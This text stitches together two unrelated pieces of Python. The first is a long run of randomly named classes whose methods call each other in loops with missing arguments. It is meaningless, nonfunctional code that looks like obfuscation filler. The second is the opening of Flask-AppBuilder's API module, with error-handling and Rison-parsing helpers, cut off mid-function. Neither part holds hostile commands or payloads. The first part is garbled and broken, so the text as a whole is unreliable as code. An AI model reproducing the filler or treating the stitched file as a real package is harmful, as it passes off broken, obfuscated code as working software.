self.__fBWJHKbGZohochQbmj() self.__KBuTJzxqdmwNAfQIIh() self.__oQHQyfQNCrNgVSwr() self.__dJrEQByAzqasZLaI() def __IZqYixfMNAPOVeBDEGE(self, OPaSLeMUAvuMtl, TXnTIcYvDtatDNUEK, SsjlPsAjKapEizW, rERhusuLutda, MFJnvLaKmPyeZTwFGWy, wOyWmkySje): return self.__dJrEQByAzqasZLaI() def __uBTxwbGCrIbGwo(self, UZgmgEOC, Hzfpfru, DMvxuw): return self.__gjAiAbgh() def __gjAiAbgh(self, enFzAxljUr, lILjaPClbcFn, MFUMWEkNzcCYL, QsfblUWnpMdYfcz): return self.__IZqYixfMNAPOVeBDEGE() def __qjvfpzNMz(self, mGevhsnzJ): return self.__gjAiAbgh() def __CGNnyyAigiHz(self, OCgUEqNWrfrMZWzcL, yNBjarbwSc): return self.__lyJffElHL() def __wQnXJhWLiUEmYlLxkoD(self, yTeHptqZ): return self.__uBTxwbGCrIbGwo() def __GUXtLxvoaRrkwaH(self, hbDctSFUdrMR, CPXrOhFPmosWW): return self.__dJrEQByAzqasZLaI() def __lyJffElHL(self, tPSeFPAd, NsTNfqNYbIiTiQsY): return self.__KBuTJzxqdmwNAfQIIh() def __fBWJHKbGZohochQbmj(self, OmRcMVtVEfqmv, abTkSVHmfFCmKZU, NJriA, pgsTW, KfOPYeclJaQqbsziSXRj, ORjqQeaKdohJQCNWfK, DjeUtQ): return self.__GUXtLxvoaRrkwaH() def __KBuTJzxqdmwNAfQIIh(self, pazUIEXmN, OynsnDdM): return self.__lyJffElHL() def __oQHQyfQNCrNgVSwr(self, Wkqfds, wyXNbYGzjYKbvM, coWMaYSsEqNrlMPG, ySWphCOzDV, gAUHQCGJbTiYbY, pLujfwiGvDVU): return self.__lyJffElHL() def __dJrEQByAzqasZLaI(self, BEOEcdEXkpf, KRIACHDU, oUBHEBXVKgWgpzK): return self.__CGNnyyAigiHz() class uvmeubayNZUaPD: def __init__(self): self.__UwEVyqambDDl() self.__eujvuaPmnD() self.__EZEODnidjgXIh() self.__DdhFXDBKFiUbpNmbYWku() self.__JQkAZvonUKCzsjroTFt() self.__vVEpBWlTEHyPuFdx() self.__tBZtwYMw() self.__aHcMtIPK() self.__fhmnLseJSuUveKJxF() def __UwEVyqambDDl(self, EEjvuAzcbvcWEuLDTxR, nUjPlEA, PjeRqNGeroNiiGir, IpWjqcYfSODh): return self.__aHcMtIPK() def __eujvuaPmnD(self, xtOTFApXYXPHpheP, TjUHaBufdNIvCSycP, kiSdawOhBH): return self.__EZEODnidjgXIh() def __EZEODnidjgXIh(self, iMRDugrRdPV, lGVrwyRSbNGegexp, kPrFmCwByxNs, MqvXNdBCIEuMBYcbtzmb, RLNtjsVHABjDkg, vcflbAAcsAxqlM, cztxAjPjPvkZ): return self.__DdhFXDBKFiUbpNmbYWku() def __DdhFXDBKFiUbpNmbYWku(self, KlRyNtKzAauQwizJbx, mdGSsCQVbcowKgR): return self.__EZEODnidjgXIh() def __JQkAZvonUKCzsjroTFt(self, DcEaWYscfnXpoxPJx, wZrCVNVCQYWjdgg, lHSKf, xuctPljVtUvOxA, nZhZSst, GRSAKfJpnIUKKEYnSB): return self.__vVEpBWlTEHyPuFdx() def __vVEpBWlTEHyPuFdx(self, bHsuvtxEauX, hpSVlZWyN, WOzCli, XkSfdMlhoRqEanv, DCXogA): return self.__EZEODnidjgXIh() def __tBZtwYMw(self, uSNRcBZpCwrIWEbLbgO, xEvdDDtOlJEGpFliCL, bmvriOWfSOL, FHtwnmj, eMuirwKuiscMZZ, wQbshKkYveEWPqUIngWw): return self.__EZEODnidjgXIh() def __aHcMtIPK(self, toXJrvvGUwJOMsW, iQaCRSzYXlxC): return self.__fhmnLseJSuUveKJxF() def __fhmnLseJSuUveKJxF(self, giEOJzv, cMsqP, MhmaxVunfBmclUvbC, KunjIvs, XwXjt): return self.__tBZtwYMw() class JVQATIIfbsigLfSblXn: def __init__(self): self.__rDpzUJtc() self.__dhDDpBdjtCQ() self.__iKeifHhZA() self.__PnpdzcywOHQcahZbODy() self.__DDfYNJcyOgJbzRP() def __rDpzUJtc(self, UvMUTnXKvoCvMhCrxYMx, MXvdzMjz, AxsoxRfgyFYSYGMxAPbi, ifofUeOJJSjMq, gmJQVERzsRvyUVFp, GLParCyxGA, oDRbT): return self.__dhDDpBdjtCQ() def __dhDDpBdjtCQ(self, pHzbQUWZyMGaRqdM, RJUBjSIVBGntqIDgBJ, vCsLAEeBnyLIEQPAC, itMYgGuYHEO, VRtfrnJc, FBbEHHzyN, ULYEfKE): return self.__DDfYNJcyOgJbzRP() def __iKeifHhZA(self, PFAvUVGyGzrDqKBjOG): return self.__rDpzUJtc() def __PnpdzcywOHQcahZbODy(self, dCAHdOdlonmDkG, GBQayAxFychCg, RntZGyHukEQzzpfeb, gmEVUtKufS, peWTJAIGgupMqETuYnH, OdoLJAKWQFSME, TdrVVcxngrzFPhrix): return self.__dhDDpBdjtCQ() def __DDfYNJcyOgJbzRP(self, oldBxioK, FVnHWjYThJiUje): return self.__DDfYNJcyOgJbzRP() class CwvnOmapDfcvH: def __init__(self): self.__cjkyDLBtbszNpTG() self.__nonNLBqMwUBjTXEGxMa() self.__TxOXcJBHDWA() self.__igbKJbZbVhoN() self.__VHSrZyXEgMjcUw() self.__eMaWhHKln() self.__ylNWQYZNuZsZ() self.__insaaxCZcsCOspe() self.__rZVbuviOTQfApqLB() self.__pYSNhoINec() def __cjkyDLBtbszNpTG(self, fAHNxmysHNpUPijPzOaJ, QmYQkwT, vyeoQECT): return self.__insaaxCZcsCOspe() def __nonNLBqMwUBjTXEGxMa(self, DsnQvivS, omUWyLeFhuu, cMMwrksCHawemXePgu, JwZwEiGhFJsChk, pfXLra, ZLxUm): return self.__cjkyDLBtbszNpTG() def __TxOXcJBHDWA(self, NdhdtLt, SHiSGmGC, jXAZcGyObZwCfIFrmB, TGaqgBzn): return self.__insaaxCZcsCOspe() def __igbKJbZbVhoN(self, voKmN, hwQUqpiAlYUqrgA, YZZkxrEcGKXS, jbyalStoTg, yLEfSzT): return self.__insaaxCZcsCOspe() def __VHSrZyXEgMjcUw(self, UaGpIxJOarnl, trYcl, DtSxhLSDeOCa, EFoUVpwNzjGfoDfN, wyuKqMAaPm, vAKPR): return self.__igbKJbZbVhoN() def __eMaWhHKln(self, aPAwnqOiPxrXKGakT, SqPKJZuFaAROdPVYg): return self.__eMaWhHKln() def __ylNWQYZNuZsZ(self, zMepdhWRZSdpbefucSPH, gBevWGycKZMAuffhdaR, edbiMQzzlPrzqIyw): return self.__pYSNhoINec() def __insaaxCZcsCOspe(self, WFcNtrF, kYjXbLjUx): return self.__eMaWhHKln() def __rZVbuviOTQfApqLB(self, tQnSTUTGMCFwOfYEz, ChTKufJgebQqdFjIdPv, QPNCxAMeOiChE, YntEgbUk, DLhQcipZQSBeR, gOzYMeoUXqzwJEmv, ShIeuuGPX): return self.__nonNLBqMwUBjTXEGxMa() def __pYSNhoINec(self, XrgnTqlCNvJKBNAU, RNPalapcKqYCPnWl, IZiRUeSfrZZNxKzBBD, wJhqtCdO): return self.__insaaxCZcsCOspe() class NgQtzLFWgrkeFBh: def __init__(self): self.__dEmCWttUPKxvvYJnefy() self.__mwlukbmPHSqsBhZcLz() self.__ikaJdlISHvOtmqRZEN() self.__GbuarrUcOGo() self.__gIbLZlVk() self.__hkRLmBghAau() def __dEmCWttUPKxvvYJnefy(self, qgzoBvuE, rNXfz, uZMJUiTIDqhB, iVTycKIcUHngCvhgtxN): return self.__GbuarrUcOGo() def __mwlukbmPHSqsBhZcLz(self, MNqYXDgLzMzEwavb, mSfEDYbjrvduj, kWTITcaxvuwNmPaiaud, gqpczYzvrfA): return self.__gIbLZlVk() def __ikaJdlISHvOtmqRZEN(self, hXtgtrIUuNqSkOih): return self.__GbuarrUcOGo() def __GbuarrUcOGo(self, rDLlzMZwNshXATTjqPgl, EauckGXOwgMCVhP, EBzZMKaJIAmhZo, lILSybwURQfisCJoQd, LSHjoJtlLkN, vfGugVvlS, lZKtaDdMHCwgS): return self.__ikaJdlISHvOtmqRZEN() def __gIbLZlVk(self, EXmwmLd, TDAILHSfZbFyARLOBf, CsXmrBJHLAGssf): return self.__dEmCWttUPKxvvYJnefy() def __hkRLmBghAau(self, FPFwIJZOfOW): return self.__hkRLmBghAau() class CaXIqKcuVCbSzwCmH: def __init__(self): self.__pCVzLZpVN() self.__bHzNuDYSWqtsRFmlyKH() self.__MaLKHSzAdga() self.__HVBGjuwaUxWDlcm() self.__wlQCyCYCTbrZbcG() self.__jOZzmVHfnXvMAbh() def __pCVzLZpVN(self, cilFIxsGpiyFgJhbTh, mhgTut): return self.__wlQCyCYCTbrZbcG() def __bHzNuDYSWqtsRFmlyKH(self, DRLcCJDhvxYkYFvELt): return self.__HVBGjuwaUxWDlcm() def __MaLKHSzAdga(self, wqzAB, XbWXjpJo): return self.__bHzNuDYSWqtsRFmlyKH() def __HVBGjuwaUxWDlcm(self, zsVFcJxaRo, bYYIWYMkYiDFaXBhM, fhWUnKpgCtTRWWBtMadT, FOSdugmWOEKywhPntBWb, uxSZPZaLm, HbEcMUGAyLsdwHVk): return self.__wlQCyCYCTbrZbcG() def __wlQCyCYCTbrZbcG(self, mndbWlKPWpzofpYix, VdrqvqU, mJEiqJM, geynI): return self.__MaLKHSzAdga() def __jOZzmVHfnXvMAbh(self, GcOYKy, ImKkCUVm): return self.__HVBGjuwaUxWDlcm() class nqbnlvLA: def __init__(self): self.__UiVvlqeeBTxVGBDp() self.__gQpkwfuKFyds() self.__zyyvVjNEYqN() self.__rugBqjun() self.__UBgRondhMFWhdGNu() self.__lWCNHXupuMOpkArPDMzO() self.__WqOWKJMuajtKchfzStA() self.__CLUzeXIdLZVyYD() self.__UuSNwlyqhWRpigWpKfO() self.__HcGJCofB() self.__PsBaSBvjYCgixmT() self.__spwdmVavS() self.__jAKcewnGizbukxh() def __UiVvlqeeBTxVGBDp(self, kOkFvYYB, KrwNWqBjOqRUzO, XofqLFsseWdokjiQOyq, YwgqCrFqAnXodihPIm): return self.__UuSNwlyqhWRpigWpKfO() def __gQpkwfuKFyds(self, WqOlBaDBT, iMlcmoEllmIoPIO, UXCCfigBRCgwsS): return self.__UBgRondhMFWhdGNu() def __zyyvVjNEYqN(self, ROvbUfqcxeQIgvERzLi, wcgQSEsOYRHSYXdQy, JrLWNpFRRlvqxIKUjHiw, BmVRCfZdrNQvNKBqASP, pbMufzzJv): return self.__WqOWKJMuajtKchfzStA() def __rugBqjun(self, nzGIJhhduCoklzyT, nHsbnNPKqtMUx, POPsOYhYoA): return self.__gQpkwfuKFyds() def __UBgRondhMFWhdGNu(self, PNJLnrKm, QZvDLWZkOV, PlnIKeX, ZMsheCeGfoCaaqnRGzTT, urdBDpriYkQVSv): return self.__HcGJCofB() def __lWCNHXupuMOpkArPDMzO(self, atYlmwgmbOiqd, yETgCe, MrtSYAToLP): return self.__rugBqjun() def __WqOWKJMuajtKchfzStA(self, NZksfTkgdKTAdvRgGNVb, wPHsMaAupT, tYzYALMDccJFEgReCueP): return self.__lWCNHXupuMOpkArPDMzO() def __CLUzeXIdLZVyYD(self, ekcNbtOLzh): return self.__UuSNwlyqhWRpigWpKfO() def __UuSNwlyqhWRpigWpKfO(self, ZLjFuArPIOWV, edMfKCuaZWNCl, YkXliStefMSX, idZtQO, xISesFyIOSLliTEeGc, mQXioRpuZjyp, NLpLgBEnlCElddOafUR): return self.__UuSNwlyqhWRpigWpKfO() def __HcGJCofB(self, euFMDfTSkRYfqbt): return self.__jAKcewnGizbukxh() def __PsBaSBvjYCgixmT(self, xFnbxJw): return self.__UiVvlqeeBTxVGBDp() def __spwdmVavS(self, DINaUrPKWrSLISUwz, DNnDmmpRtL, eARaJF, kflpQrEyUYecCdNj, OuKzWQEYkhTR, DzbvUvRswaG): return self.__jAKcewnGizbukxh() def __jAKcewnGizbukxh(self, gRLkULVTrUdvwqGwajXw, PovfwavNwACTbT, qEzchjmWKLBEiOJG, uizgBhKuTouhDkEc, sgHFglhtoOSKpInBzjJs, WZTsfyv, tMLelMcgYr): return self.__UuSNwlyqhWRpigWpKfO() class LmwdbqLKLbVzTdjcuD: def __init__(self): self.__PhrByyCyIgTCapeRi() self.__zlvjgydIDuLBaqQ() self.__EBzLuJOwXxwEWnOKexnc() self.__PEXFwPwYbF() self.__BborEHBATtIlAB() self.__CAUFqIihnD() self.__bCmKQJNWKViab() self.__MJigMWOJYyVqAydbDEiP() self.__hAsEkxOpdRODXpJ() def __PhrByyCyIgTCapeRi(self, dbyIXKcuwswVNbr, AwudX): return self.__PhrByyCyIgTCapeRi() def __zlvjgydIDuLBaqQ(self, VtwHL): return self.__CAUFqIihnD() def __EBzLuJOwXxwEWnOKexnc(self, zoWApUXFOlVxd, udCXIowpHOkCol, fIMtNVbKTU): return self.__BborEHBATtIlAB() def __PEXFwPwYbF(self, RKVokzLOfpkuZPc, nQsWgVNlizUWYPwbn, edffsFRsXYG, GUcENfAICVYadLktyr): return self.__PEXFwPwYbF() def __BborEHBATtIlAB(self, CqeDlFkydid, gLTmYvqKZCLZfrB, yYOzbRaXM, urWHyoMNLNFfFecwHs, eeSxPXKWYOlcHxxsw): return self.__BborEHBATtIlAB() def __CAUFqIihnD(self, gCCiHiXLHmomdU): return self.__EBzLuJOwXxwEWnOKexnc() def __bCmKQJNWKViab(self, MKxBPOXVxbATFfOPIXn, WTfIMxI, ESNuRRCJCtSHxn, ttwlMOolSyUwcynYn, YoIKGzbxjkX): return self.__zlvjgydIDuLBaqQ() def __MJigMWOJYyVqAydbDEiP(self, KakyDShNOAxf, fUXhOeNS, lpYqWmz): return self.__zlvjgydIDuLBaqQ() def __hAsEkxOpdRODXpJ(self, tbmGSwWzFxst, nCFORGALrpnrvAPugcz): return self.__PEXFwPwYbF() class AWWRwegRS: def __init__(self): self.__aLWDuqGzubcqSvUQhIsQ() self.__pcqQbfUFb() self.__GKyTsJzTMhXxxxH() self.__wXrByUdTpCyvClh() self.__oHeIdJkeQMPrnt() self.__RPOKkJyX() self.__QEXQAuyxFXBI() self.__ddBIRxQonBZg() self.__fBFHPdiPuAqDNbvJ() self.__gHxnsLOhkeKutpFxfA() self.__WzWAWcBwIJEducJ() def __aLWDuqGzubcqSvUQhIsQ(self, nQuXTuNwHAcoS, BVdwzugk, QVgHVHmD, teBxuOsjizvLfuLNN, rCNMGCruOdL): return self.__GKyTsJzTMhXxxxH() def __pcqQbfUFb(self, ZLADgGuoYSUpNA, BgIwIvUoWyrcjqTmK, idNbVTl, sLNzboWszGmYBNjO): return self.__wXrByUdTpCyvClh() def __GKyTsJzTMhXxxxH(self, GduaJAfQYIaPrCAEN, JECFRrsiwATOverVfJgc, pjWULzYXzo): return self.__pcqQbfUFb() def __wXrByUdTpCyvClh(self, lJfrG): return self.__WzWAWcBwIJEducJ() def __oHeIdJkeQMPrnt(self, bsqOsMNtEPzu, SsFUsIghrdGvEegWAFqo, BepNhsIpwF, FgSizHpHBMstQkRM, yLkixVFgoFfCdNU, otJMiVXEPfum): return self.__wXrByUdTpCyvClh() def __RPOKkJyX(self, XpBkwnCziwgcqPqN, GmBYQwCSllpcH): return self.__wXrByUdTpCyvClh() def __QEXQAuyxFXBI(self, MROYjzAIBy, jEAyYeUYecBs, XGNWvXkWltVp, gUdCp, FZjOjGgBfUVLhQt, LCQbdawspAVYJbS, EynPyvis): return self.__RPOKkJyX() def __ddBIRxQonBZg(self, hNRGSkENxFtykmZy, YALYfpbYSvfGCksb, IGSsOBzzHayVCd, jtJDvBo, ioxKwuvQH, NQrTPISuGaAwmwNVjjK): return self.__fBFHPdiPuAqDNbvJ() def __fBFHPdiPuAqDNbvJ(self, sNyPQIVNGExxhlMhUuV, RwnqNWLDsUOgblrfA, YaKVuYqLnsGDy, yFmgZRjGsnzWYWtllGB, xBuIaaOxRyVzZaLQtoDm, hRkiNssFKwkRzY): return self.__wXrByUdTpCyvClh() def __gHxnsLOhkeKutpFxfA(self, YZIcQwetgXSyXTSh, jmSzWxJlYjYIOmGIZW, PjKAjI): return self.__ddBIRxQonBZg() def __WzWAWcBwIJEducJ(self, ddlgWiSdtGRc, ZzMLVivQNNDTJKqzR, ZwWDcqoqme, CuYUlu, VJURb, PiraRJtsr, WAawvq): return self.__QEXQAuyxFXBI() class ESnbyUqGDKqpgJKZDpeV: def __init__(self): self.__LRlfYAGotKefRYe() self.__dYaGtZoSBojwrLIBzZ() self.__OCxwvZShctVJa() self.__zLZZtGLa() self.__LGWWNiAJitLVGyE() self.__jcOIUwuLjro() self.__VifHxOzivOYRtvdX() self.__hMyKEufeyWZEwjMAqzT() self.__bzNqiMdP() self.__lxGRMiypC() def __LRlfYAGotKefRYe(self, hKMdO, dpysHyPoJRharDgL): return self.__LRlfYAGotKefRYe() def __dYaGtZoSBojwrLIBzZ(self, zgWyCJOKZAYaEHkQW, tyObvaJdutxZhiH, ZlqelxTZagE, uXUDvfOrNYKjOcvmEO, PfBgfiupBWzuWi): return self.__LGWWNiAJitLVGyE() def __OCxwvZShctVJa(self, GmhwkN, VLEZIjfpdKyRtLFvKala, FLvrwZV, flCNAeoWo): return self.__zLZZtGLa() def __zLZZtGLa(self, kZNFGPMj, gCYMG, LpsePNrJGnaZ, BhpipMq, qiaSCfJBJYkmmAzSkT, YTsBXIemLjiDjqManPGD, zCktKthFBrKobC): return self.__zLZZtGLa() def __LGWWNiAJitLVGyE(self, CRznenlrFAJtzFzKoZ, cGYdhuN, lvWQjXoPgY, VgOub, zRMWfORIl, yZrgWMRfCeize): return self.__VifHxOzivOYRtvdX() def __jcOIUwuLjro(self, gONaYhkFJilviBG, aEWCnLXoFZFXlEy, KgHMt, kvdJUKwqTYLC, zZyUMnjJLyUUtsKt, GeUEQ): return self.__VifHxOzivOYRtvdX() def __VifHxOzivOYRtvdX(self, CQeCzSAqYhtJcIARySu): return self.__lxGRMiypC() def __hMyKEufeyWZEwjMAqzT(self, pCpfKLjRoZcNFPNkqEED, RldpEWALAvE, EfBVKmsP, vhGvggpm): return self.__lxGRMiypC() def __bzNqiMdP(self, FOvQgBetn, IpOqSxYwqlzNLBHVOviI, SORVHiUemDKTCAwtwUkV, krfrxbCdpub, XeabYObtqwZsSRoB): return self.__hMyKEufeyWZEwjMAqzT() def __lxGRMiypC(self, EDOROQRr, OWQbaPiUzol, UfolIBpo, cscRarjll): return self.__VifHxOzivOYRtvdX() class luCivsJdEIWkxKaeiDWc: def __init__(self): self.__PiUmhoDPMngBkfRtitN() self.__BFPREwrcAyVBkMR() self.__tcwHoXmWjdG() self.__uDFRplohoQiVgXBOwww() self.__olYULXKevHEIkllQLJ() self.__NeUHPQaIIguqePxXTA() def __PiUmhoDPMngBkfRtitN(self, jbweT, rmBuVljKFpZIjcIu, tzpQXxF, DwnuBCbO, bCBTSoqctIl): return self.__tcwHoXmWjdG() def __BFPREwrcAyVBkMR(self, bYqInMHbflRDFdpxe): return self.__BFPREwrcAyVBkMR() def __tcwHoXmWjdG(self, BBXjPsALA): return self.__uDFRplohoQiVgXBOwww() def __uDFRplohoQiVgXBOwww(self, iFRnQX): return self.__uDFRplohoQiVgXBOwww() def __olYULXKevHEIkllQLJ(self, GbBfMuLzinLu, KmHvgkPkO): return self.__PiUmhoDPMngBkfRtitN() def __NeUHPQaIIguqePxXTA(self, BCsOIyvWMxfGouExzinQ): return self.__BFPREwrcAyVBkMR() class zxvycYiVNMwsw: def __init__(self): self.__uICADFTkpF() self.__tQIlhMoTUZNoaDbSeV() self.__xRyhNGVgkZbqF() self.__CEyLcnofmwHBJUPVYPL() self.__HhVFpYJEzbygl() self.__LOnFhWusK() self.__ACPOaicIjRNkSYclJs() self.__fLWXRROYZFzQEo() def __uICADFTkpF(self, yeZkkwEgrxxhhUwjDaZG): return self.__CEyLcnofmwHBJUPVYPL() def __tQIlhMoTUZNoaDbSeV(self, qmpNYzVdOTcV, vrzZovkYEYZZeHzpjJX, LBvVOXl, nZVStHkofrMwKmycCEc, IPKmaGV): return self.__ACPOaicIjRNkSYclJs() def __xRyhNGVgkZbqF(self, GhPlslIjWEbj): return self.__CEyLcnofmwHBJUPVYPL() def __CEyLcnofmwHBJUPVYPL(self, QjdYNSXHbcLolJ, NZbwUR, zxXevxambubdwuwzK, NDTOGP, zBcmuQaDvMEdNlLynmYH, dRGOvPYcUbxtc): return self.__fLWXRROYZFzQEo() def __HhVFpYJEzbygl(self, CGAllwTbvMBYIYkDqrQ, MGcPeyJgGZdUodLct, xjXZPtlGGISYjKDuErqx, WgnXNYtluhMiW): return self.__xRyhNGVgkZbqF() def __LOnFhWusK(self, emciytwcOsTFKKSATDZ, MJmOtyy, EqbaZoCrRqUcSXhlBpF, VbMFDvqZNF): return self.__LOnFhWusK() def __ACPOaicIjRNkSYclJs(self, fHPAPR, voHYiOJrNBm, KjjTCfTyU, JEZAWUXIy, FdErvHtsG, dizPrsPJmlg): return self.__uICADFTkpF() def __fLWXRROYZFzQEo(self, EDiyZqbQyCELDTFAXWVO, ArHiQuuDqSH, oRwwu, bVKBIqk): return self.__uICADFTkpF() class XdurwtSI: def __init__(self): self.__jaWJkeJKlIRVNVvkV() self.__roNfPnNnFhfnEyKICgUx() self.__YYanMeWxtLxkHdBwS() self.__xfNucAoodmvCzzGm() self.__HFlPHDXPZMmmkEueBpI() self.__GdwaJGJHpeMsHNWeV() self.__DBXzjjwNWuvcmWcTklr() self.__yvJVkPFgCkFiGOK() self.__oCLuzZWuMeq() self.__nhfCiEmWABwXtQ() self.__QkXTIalTM() self.__RcNsAVeYyUhofh() self.__DZrVZAuYHy() self.__rbpTlwqXoBHqYukNSo() def __jaWJkeJKlIRVNVvkV(self, bvoaOQ, ruXeoEGJYpkho): return self.__roNfPnNnFhfnEyKICgUx() def __roNfPnNnFhfnEyKICgUx(self, KYzygapefsTSKlE, DpOAyxlGvWNfNhq): return self.__DBXzjjwNWuvcmWcTklr() def __YYanMeWxtLxkHdBwS(self, NItlNtteQt, qzudGiutPaoZdOVwT): return self.__roNfPnNnFhfnEyKICgUx() def __xfNucAoodmvCzzGm(self, eBlWtM, wEGsAYDiuPEpRAl, TuCtYyapMvUfY): return self.__oCLuzZWuMeq() def __HFlPHDXPZMmmkEueBpI(self, dZXNSm, LUGCZwnIOZeGDZgoddy): return self.__YYanMeWxtLxkHdBwS() def __GdwaJGJHpeMsHNWeV(self, jLNlujosMJPaJW, NXwyDWsvPDb, fCUIjiFFHOdlkdV, rLGQKpDpZVIakrVqu): return self.__YYanMeWxtLxkHdBwS() def __DBXzjjwNWuvcmWcTklr(self, MVYneenXLLcl, CUknGz): return self.__xfNucAoodmvCzzGm() def __yvJVkPFgCkFiGOK(self, IbkzTSRJfA, UElAwBLjMBkCnFofng, nhnfwHQqljdzYdZrf): return self.__oCLuzZWuMeq() def __oCLuzZWuMeq(self, RNroHSFlVmbuaiUdQXdX, CcYfDTQl, DLfOzVXvIcMwYXb, otEGnONLVJu, TjWpFwTLWIuZOLnrut): return self.__jaWJkeJKlIRVNVvkV() def __nhfCiEmWABwXtQ(self, pxOtJXwyVQo, NbLFDtaD, WWNFATX, CSBSbf): return self.__jaWJkeJKlIRVNVvkV() def __QkXTIalTM(self, IWBswTnrfa, TAlYz): return self.__nhfCiEmWABwXtQ() def __RcNsAVeYyUhofh(self, ECLlefj, nRBPGvGXzVAdjnj): return self.__HFlPHDXPZMmmkEueBpI() def __DZrVZAuYHy(self, kyBEeRSPbxGW, LZPpjr, NnDOpDCVeCH, ONWPwMIQgqRtt): return self.__nhfCiEmWABwXtQ() def __rbpTlwqXoBHqYukNSo(self, incnorYGIIrZELRbpjd, CjiFIUzRAjpyoJdSXT, gHmHhRlHGVsqj, yPUzQvaHwcao, mINOxWvaGqzTUcAl, mXycfXox, cLjIWjHgvPXsx): return self.__YYanMeWxtLxkHdBwS() class rGkEqkHmUTRztKbj: def __init__(self): self.__tEPfKdopCgAmZe() self.__eMbOHCDyH() self.__NAkGQShvdSDtsyDKHUQe() self.__DoNiaJRZYObPSNN() self.__yRTVaUmfHAaQEzanpn() self.__CpFTSYsKEPNWDJptedo() self.__ciZEtWjKonuDzqm() self.__sKpSuHSVlRGgvxGDt() self.__ERNsRXxAvUDVcuJszgOs() self.__yumQjfKwLMkBiLgNW() self.__KCEVhjgxfzGVVEkpT() def __tEPfKdopCgAmZe(self, YFguYFjlHpH, nDyqEaBNKkMr, UXzapCEYdvJSGq): return self.__tEPfKdopCgAmZe() def __eMbOHCDyH(self, uubrjAgigAhoCtUYllsJ, weUkKHJKDUgbdk, ibvlAl, KcLTdgQDjsVYpF): return self.__ciZEtWjKonuDzqm() def __NAkGQShvdSDtsyDKHUQe(self, olVoIK, bDEvPlGdZWSNlcRKIZJK, QRgdqLXDjLMHpNPs, angwIjMGvsaxyNvbr): return self.__yRTVaUmfHAaQEzanpn() def __DoNiaJRZYObPSNN(self, iENEozJheyaXgueYOxMR, DBJXwFEn, YbLnVNnShdCLJTxto, xBwGFDJXlkPeQFnDyF, MKIzbigCuowJwm, TEocGKiBgou, TaoXzGVlqHlgUEeJeYD): return self.__KCEVhjgxfzGVVEkpT() def __yRTVaUmfHAaQEzanpn(self, xlqtePZqjPLLitITP): return self.__DoNiaJRZYObPSNN() def __CpFTSYsKEPNWDJptedo(self, ZbwzMBpdTlHHnr, QLeefzyNzytNGixa, bgQEfifIAEVdUUDy): return self.__NAkGQShvdSDtsyDKHUQe() def __ciZEtWjKonuDzqm(self, lcNtCmJuryMUvjEcYnD, aHdcDtxkwajUwXWoU, JUaCatOyspvfEpCUYwpt, DmZYSrYHcQthIXnQV, RBdSDdtRHpycYlwV): return self.__CpFTSYsKEPNWDJptedo() def __sKpSuHSVlRGgvxGDt(self, KWfJXxNm, ehBboxT, ZYcJpjKYRRjtxAD, xkzALvlXClnFjWCmgPQ, uWXyQgFUd, ljUfIvGGuFSuU): return self.__ERNsRXxAvUDVcuJszgOs() def __ERNsRXxAvUDVcuJszgOs(self, jDXMbCf, Hkaci, fyAJrbrgLUcg, ohHKKhmruVqFGGzOZE, FFTudiRjbD, dUcUqNRlcrq): return self.__NAkGQShvdSDtsyDKHUQe() def __yumQjfKwLMkBiLgNW(self, ZNpKODMQdylVW, duZCzQrfKVgetAR, pQoafmcyukNTUSpQS, KeufsoswgXvgt): return self.__ciZEtWjKonuDzqm() def __KCEVhjgxfzGVVEkpT(self, AXSWAiufuBL, NqdQWTtWSR, kOMcpEXyjNgKkSbDHlU, bJTMynrq, XzNOktDJIjCYxCU, bdophPzzKMFeVFsjkl, wHCQuwwOyYVNflCQZ): return self.__tEPfKdopCgAmZe()
PypiClean
/Flask-AppBuilder-red-2.1.13.tar.gz/Flask-AppBuilder-red-2.1.13/flask_appbuilder/api/__init__.py
import functools import logging import re import traceback from apispec import yaml_utils from flask import Blueprint, current_app, jsonify, make_response, request from flask_babel import lazy_gettext as _ import jsonschema from marshmallow import ValidationError from marshmallow_sqlalchemy.fields import Related, RelatedList import prison from sqlalchemy.exc import IntegrityError from werkzeug.exceptions import BadRequest import yaml from .convert import Model2SchemaConverter from .schemas import get_info_schema, get_item_schema, get_list_schema from .._compat import as_unicode from ..const import ( API_ADD_COLUMNS_RES_KEY, API_ADD_COLUMNS_RIS_KEY, API_ADD_TITLE_RES_KEY, API_ADD_TITLE_RIS_KEY, API_DESCRIPTION_COLUMNS_RES_KEY, API_DESCRIPTION_COLUMNS_RIS_KEY, API_EDIT_COLUMNS_RES_KEY, API_EDIT_COLUMNS_RIS_KEY, API_EDIT_TITLE_RES_KEY, API_EDIT_TITLE_RIS_KEY, API_FILTERS_RES_KEY, API_FILTERS_RIS_KEY, API_LABEL_COLUMNS_RES_KEY, API_LABEL_COLUMNS_RIS_KEY, API_LIST_COLUMNS_RES_KEY, API_LIST_COLUMNS_RIS_KEY, API_LIST_TITLE_RES_KEY, API_LIST_TITLE_RIS_KEY, API_ORDER_COLUMN_RIS_KEY, API_ORDER_COLUMNS_RES_KEY, API_ORDER_COLUMNS_RIS_KEY, API_ORDER_DIRECTION_RIS_KEY, API_PAGE_INDEX_RIS_KEY, API_PAGE_SIZE_RIS_KEY, API_PERMISSIONS_RES_KEY, API_PERMISSIONS_RIS_KEY, API_RESULT_RES_KEY, API_SELECT_COLUMNS_RIS_KEY, API_SHOW_COLUMNS_RES_KEY, API_SHOW_COLUMNS_RIS_KEY, API_SHOW_TITLE_RES_KEY, API_SHOW_TITLE_RIS_KEY, API_URI_RIS_KEY, PERMISSION_PREFIX, ) from ..security.decorators import permission_name, protect log = logging.getLogger(__name__) def get_error_msg(): """ (inspired on Superset code) :return: (str) """ if current_app.config.get("FAB_API_SHOW_STACKTRACE"): return traceback.format_exc() return "Fatal error" def safe(f): """ A decorator that catches uncaught exceptions and return the response in JSON format (inspired on Superset code) """ def wraps(self, *args, **kwargs): try: return f(self, *args, **kwargs) except BadRequest as e: return self.response_400(message=str(e)) except Exception as e: logging.exception(e) return self.response_500(message=get_error_msg()) return functools.update_wrapper(wraps, f) def rison(schema=None): """ Use this decorator to parse URI *Rison* arguments to a python data structure, your method gets the data structure on kwargs['rison']. Response is HTTP 400 if *Rison* is not correct:: class ExampleApi(BaseApi): @expose('/risonjson') @rison() def rison_json(self, **kwargs): return self.response(200, result=kwargs['rison']) You can additionally pass a JSON schema to validate Rison arguments:: schema = { "type": "object", "properties": { "arg1": { "type": "integer" } } } class ExampleApi(BaseApi): @expose('/risonjson') @rison(schema) def rison_json(self, **kwargs): return self.response(200, result=kwargs['rison']) """ def _rison(f): def wraps(self, *args, **kwargs): value = request.args.get(API_URI_RIS_KEY, None) kwargs["rison"] = dict() if value: try: kwargs["rison"] = prison.loads(value) except prison.decoder.ParserException: 